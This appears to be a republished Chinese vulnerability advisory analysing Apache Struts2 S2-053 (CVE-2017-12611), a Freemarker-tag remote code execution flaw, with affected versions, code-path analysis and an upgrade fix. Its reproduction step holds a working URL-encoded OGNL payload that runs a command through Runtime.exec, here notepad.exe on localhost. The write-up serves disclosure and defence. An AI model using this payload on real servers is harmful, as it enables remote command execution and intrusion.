漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

Posted 信息安全守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)相关的知识,希望对你有一定的参考价值。

2017年9月7日,Struts官方发布一个中危的安全漏洞,该漏洞编号为:S2-053,在一定条件下,当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞,存在一定的安全风险。中新网安将对该漏洞进行持续关注,并第一时间为您更新相关漏洞信息。

【漏洞编号】CVE-2017-12611

【漏洞名称】Struts2 Freemarker标签远程执行命令漏洞(S2-053)

【风险等级】中危

【漏洞描述】当在Freemarker标签中使用表达式常量或强制表达式时使用请求值可能会导致远程代码执行漏洞

【影响版本】Struts 2.0.1 - Struts 2.3.33 、 Struts 2.5 - Struts 2.5.10

【漏洞复现】

  • idea创建默认struts2项目:

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

  • 执行

poc http://localhost:8081/zxsoft?strutsS=%25%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C@java.lang.Runtime@getRuntime%28%29.exec%28%27notepad.exe%27%29%7D%3B

  • 代码执行成功后弹出记事本程序

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

【漏洞分析】

当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行:

<@s.hidden name="strutsS" value=strutsS/>

<@s.hidden name="strutsS" value="${strutsS}" />

这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响再将默认的execute方法执行的结果集通过DefaultActionInvocation中的createResult方法传递到ftl模板里:

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

然后接着取出了payload:漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

然后payload 进入ValueStack 中的map值栈,并且位于值栈的栈顶:

最终FreeMarker模板使用assign指令调用struts.translateVariables方法去执行keyValue的栈顶元素。

【修复建议】

  • 升级Apache Struts到version 2.5.13





中新网安致力成为 “新时代网络空间信息安全守护者”,重点围绕国家关键基础设施(电信、交通、能源、电力等);重要信息系统(党政、金融、财税、经贸等);重要公众服务(互联网 + 政务、互联网 + 金融、互联网 +医疗、互网 + 民生等);重要监管单位(公安部、国家互联网应急响应中心、中国信息安全测评中心、等级保护测评中心等)为服务对象,秉承务实、正直、进取、创新的态度,为客户提供专业的信息安全一体化服务与用户共享和谐、安全、美好的网络空间。


以上是关于漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)的主要内容,如果未能解决你的问题,请参考以下文章

S2-053:Apache Struts2远程代码执行漏洞(中危)

漏洞预警Apache Struts2 再爆远程代码执行漏洞

Apache Struts2 再曝高危漏洞,建议立即进行检测与防护

漏洞预警Apache Struts2(S2-052)远程代码执行漏洞

漏洞预警二 Apache Struts2 反序列化漏洞(S2-055,CVE-2017-7525)

缓解CVE-2017-5638 Apache Struts2漏洞